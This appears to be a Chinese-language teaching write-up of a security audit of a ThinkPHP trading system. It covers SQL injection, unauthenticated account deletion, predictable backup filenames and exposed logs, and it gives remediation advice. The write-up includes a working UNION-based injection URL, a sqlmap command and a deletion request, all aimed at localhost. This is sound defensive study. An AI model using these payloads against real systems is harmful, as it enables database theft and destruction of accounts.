对某交易系统的一次审计
字数 1061 2025-08-29 08:31:48

ThinkPHP交易系统安全审计教学文档

系统概述

审计对象是一个基于ThinkPHP 3.2.0框架开发的交易系统,存在多处严重安全漏洞。

漏洞分析

1. SQL注入漏洞

位置: Application/Home/Controller/NewsController.class.php

漏洞代码:

public function newsid(){
    $nid=I('get.nid');
    $newsid=M('newsinfo')->where('nid='.$nid)->find();
    $this->assign('newsid',$newsid);
    $this->display();
}

漏洞原因:

  • 使用I()函数获取输入,默认仅使用htmlspecialchars过滤
  • 直接拼接用户输入到SQL查询中
  • 未启用其他过滤机制

利用方式:

http://127.0.0.1/index.php/Home/News/newsid.html?nid=8)%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x7,0x4,0x7),NULL,NULL,NULL,NULL--%20test%20---

自动化检测:

python sqlmap.py -u "http://127.0.0.1/index.php/Home/News/newsid.html?nid=8" --dbs

2. 任意账号删除漏洞

位置: Application/Admin/Controller/SuperController.class.php

漏洞代码:

public function sdel() {
    $user = D('userinfo');
    $uid = I('get.uid');
    $result = $user->where('uid='.$uid)->delete();
    if($result!==FALSE){
        $this->success("成功删除管理员!",U("Super/slist"));
    }else{
        $this->error('删除失败!');
    }
}

漏洞原因:

  • 缺少权限验证(checklogin()函数)
  • 直接接受用户输入的uid参数进行删除操作

利用方式:

GET /index.php/Admin/Super/sdel/uid/670.html HTTP/1.1
Host: 127.0.0.1

3. 备份文件遍历漏洞

位置: Application/Admin/Controller/SuperController.class.php

漏洞代码:

$filename = APP_PATH.'backup/'.date('Y-m-d_H-i-s').".sql";
$fp = fopen($filename, 'w');
fputs($fp, $mysql);
fclose($fp);

漏洞原因:

  • 备份文件名使用可预测的时间格式
  • 未设置访问权限控制

利用方式:

  • 根据日期格式爆破备份文件路径
  • 参考已有POC进行自动化测试

4. 日志信息泄露

位置: Application/Runtime/Logs/

漏洞原因:

  • 日志文件使用简单日期命名(如19_01_25.log)
  • 日志记录敏感操作信息
  • 日志文件可被直接访问

利用方式:

  • 直接访问日志文件路径
  • 通过日期爆破获取历史日志

安全建议

开发层面

  1. SQL注入防护:

    • 使用参数化查询或预处理语句
    • 对I()函数添加额外过滤规则
    • 避免直接拼接用户输入到SQL语句
  2. 权限控制:

    • 所有管理操作必须进行权限验证
    • 实现统一的权限检查机制
  3. 文件安全:

    • 敏感文件(日志、备份)应存放在web目录外
    • 对备份文件设置随机命名
    • 实现访问控制
  4. 日志管理:

    • 敏感信息不应记录在日志中
    • 日志文件应设置适当权限

运维层面

  1. 定期检查并删除不必要的备份文件
  2. 限制对Runtime目录的访问
  3. 监控异常访问行为

审计工具推荐

  1. FileMonitor: 文件监控工具,检测系统文件变化
  2. MySQLMonitor: 数据库操作监控工具
  3. sqlmap: SQL注入自动化检测工具

总结

该交易系统存在多处严重安全漏洞,主要问题包括:

  • 缺乏有效的输入过滤
  • 权限控制不完善
  • 敏感信息处理不当
  • 日志和备份管理不规范

通过全面修复这些问题,可显著提升系统安全性。

ThinkPHP交易系统安全审计教学文档 系统概述 审计对象是一个基于ThinkPHP 3.2.0框架开发的交易系统,存在多处严重安全漏洞。 漏洞分析 1. SQL注入漏洞 位置 : Application/Home/Controller/NewsController.class.php 漏洞代码 : 漏洞原因 : 使用 I() 函数获取输入,默认仅使用 htmlspecialchars 过滤 直接拼接用户输入到SQL查询中 未启用其他过滤机制 利用方式 : 自动化检测 : 2. 任意账号删除漏洞 位置 : Application/Admin/Controller/SuperController.class.php 漏洞代码 : 漏洞原因 : 缺少权限验证( checklogin() 函数) 直接接受用户输入的uid参数进行删除操作 利用方式 : 3. 备份文件遍历漏洞 位置 : Application/Admin/Controller/SuperController.class.php 漏洞代码 : 漏洞原因 : 备份文件名使用可预测的时间格式 未设置访问权限控制 利用方式 : 根据日期格式爆破备份文件路径 参考已有POC进行自动化测试 4. 日志信息泄露 位置 : Application/Runtime/Logs/ 漏洞原因 : 日志文件使用简单日期命名(如 19_01_25.log ) 日志记录敏感操作信息 日志文件可被直接访问 利用方式 : 直接访问日志文件路径 通过日期爆破获取历史日志 安全建议 开发层面 SQL注入防护 : 使用参数化查询或预处理语句 对I()函数添加额外过滤规则 避免直接拼接用户输入到SQL语句 权限控制 : 所有管理操作必须进行权限验证 实现统一的权限检查机制 文件安全 : 敏感文件(日志、备份)应存放在web目录外 对备份文件设置随机命名 实现访问控制 日志管理 : 敏感信息不应记录在日志中 日志文件应设置适当权限 运维层面 定期检查并删除不必要的备份文件 限制对Runtime目录的访问 监控异常访问行为 审计工具推荐 FileMonitor : 文件监控工具,检测系统文件变化 MySQLMonitor : 数据库操作监控工具 sqlmap : SQL注入自动化检测工具 总结 该交易系统存在多处严重安全漏洞,主要问题包括: 缺乏有效的输入过滤 权限控制不完善 敏感信息处理不当 日志和备份管理不规范 通过全面修复这些问题,可显著提升系统安全性。